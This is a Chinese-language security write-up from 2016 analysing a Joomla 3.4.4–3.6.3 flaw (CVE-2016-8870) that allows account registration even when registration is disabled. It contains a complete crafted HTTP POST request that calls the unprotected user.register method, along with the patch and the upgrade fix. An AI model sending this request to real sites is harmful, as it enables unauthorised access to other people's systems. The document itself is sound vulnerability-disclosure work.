Author: p0wd3r (知道創宇404安全實驗室)

Date: 2016-10-26

漏洞聯動:Joomla未授權創建特權用戶漏洞(CVE-2016-8869)分析 (權限提升)

0x00 漏洞概述

1.漏洞簡介

Joomla是一個自由開源的內容管理系統,近日研究者發現在其3.4.4到3.6.3的版本中存在兩個漏洞:CVE-2016-8869CVE-2016-8870。我們在這里僅分析CVE-2016-8870,利用該漏洞,攻擊者可以在網站關閉注冊的情況下注冊用戶。Joomla官方已對此漏洞發布升級公告

2.漏洞影響

網站關閉注冊的情況下仍可創建用戶,默認狀態下用戶需要用郵件激活,但需要開啟注冊功能才能激活。

3.影響版本

3.4.4 to 3.6.3

0x01 漏洞復現

1. 環境搭建

wget https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Full_Package.tar.gz

解壓后放到服務器目錄下,例如/var/www/html

創建個數據庫:

docker run --name joomla-mysql -e MYSQL_ROOT_PASSWORD=hellojoomla -e MYSQL_DATABASE=jm -d mysql

訪問服務器路徑進行安裝即可。

2.漏洞分析

在存在漏洞的版本中我們可以看到一個有趣的現象,即存在兩個用于用戶注冊的方法:

  • 位于components/com_users/controllers/registration.php中的UsersControllerRegistration::register()
  • 位于components/com_users/controllers/user.php中的UsersControllerUser::register()

我們對比一下代碼:

UsersControllerRegistration::register():

public function register()
    {
        // Check for request forgeries.
        JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

        // If registration is disabled - Redirect to login page.
        if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0)
        {
            $this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));

            return false;
        }

        $app   = JFactory::getApplication();
        $model = $this->getModel('Registration', 'UsersModel');

        // Get the user data.
        $requestData = $this->input->post->get('jform', array(), 'array');

        // Validate the posted data.
        $form = $model->getForm();

        ...
    }

UsersControllerUser::register():

public function register()
    {
        JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN'));

        // Get the application
        $app = JFactory::getApplication();

        // Get the form data.
        $data = $this->input->post->get('user', array(), 'array');

        // Get the model and validate the data.
        $model  = $this->getModel('Registration', 'UsersModel');

        $form = $model->getForm();

        ...
    }

可以看到相對于UsersControllerRegistration::register()UsersControllerUser::register()的實現中并沒有這幾行代碼:

// If registration is disabled - Redirect to login page.
if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0)
{
    $this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));

    return false;
}

這幾行代碼是檢查是否允許注冊,也就是說如果我們可以用UsersControllerUser::register()這個方法來進行注冊就可以繞過這個檢測。

通過測試可知正常的注冊使用的是UsersControllerRegistration::register(),請求包如下:

POST /index.php/component/users/?task=registration.register HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI
...
Cookie: yourcookie

------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[name]"

tomcat
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[username]"

tomcat
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[password1]"

tomcat
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[password2]"

tomcat
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[email1]"

tomcat@my.local
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[email2]"

tomcat@my.local
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="option"

com_users
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="task"

registration.register
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="yourtoken"

1
------WebKitFormBoundaryefGhagtDbsLTW5qI--

雖然正常注冊并沒有使用UsersControllerUser::register(),但是并不代表我們不能使用。閱讀代碼可知,只要將請求包進行如下修改即可使用存在漏洞的函數進行注冊:

  • registration.register -> user.register
  • jform[*] -> user[*]

所以完整的復現流程如下:

1.首先在后臺關閉注冊功能,關閉后首頁沒有注冊選項:

Alt text

2.然后通過訪問index.php抓包獲取cookie,通過看index.php源碼獲取token:

Alt text

Alt text

3.構造注冊請求:

POST /index.php/component/users/?task=registration.register HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI
...
Cookie: yourcookie

------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[name]"

attacker
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[username]"

attacker
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[password1]"

attacker
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[password2]"

attacker
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[email1]"

attacker@my.local
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[email2]"

attacker@my.local
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="option"

com_users
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="task"

user.register
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="yourtoken"

1
------WebKitFormBoundaryefGhagtDbsLTW5qI--

4.發包,成功注冊:

Alt text

2016-10-27 更新

默認情況下,新注冊的用戶需要通過注冊郵箱激活后才能使用。并且:

Alt text

由于$data['activation']的值會被覆蓋,所以我們也沒有辦法直接通過請求更改用戶的激活狀態。

2016-11-01 更新

感謝三好學生D的提示,可以使用郵箱激活的前提是網站開啟了注冊功能,否則不會成功激活。

我們看激活時的代碼,在components/com_users/controllers/registration.php中第28-99行的activate函數:

public function activate()
{
    $user    = JFactory::getUser();
    $input   = JFactory::getApplication()->input;
    $uParams = JComponentHelper::getParams('com_users');
    ...

    // If user registration or account activation is disabled, throw a 403.
    if ($uParams->get('useractivation') == 0 || $uParams->get('allowUserRegistration') == 0)
    {
        JError::raiseError(403, JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'));

        return false;
    }

    ...
}

這里可以看到僅當開啟注冊功能時才允許激活,否則返回403。

3.補丁分析

Alt text

官方刪除了UsersControllerUser::register()方法。

0x02 修復方案

升級到3.6.4

0x03 參考

https://www.seebug.org/vuldb/ssvid-92496

https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html

http://www.fox.ra.it/technical-articles/how-i-found-a-joomla-vulnerability.html

https://www.youtube.com/watch?v=Q_2M2oJp5l4


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/86/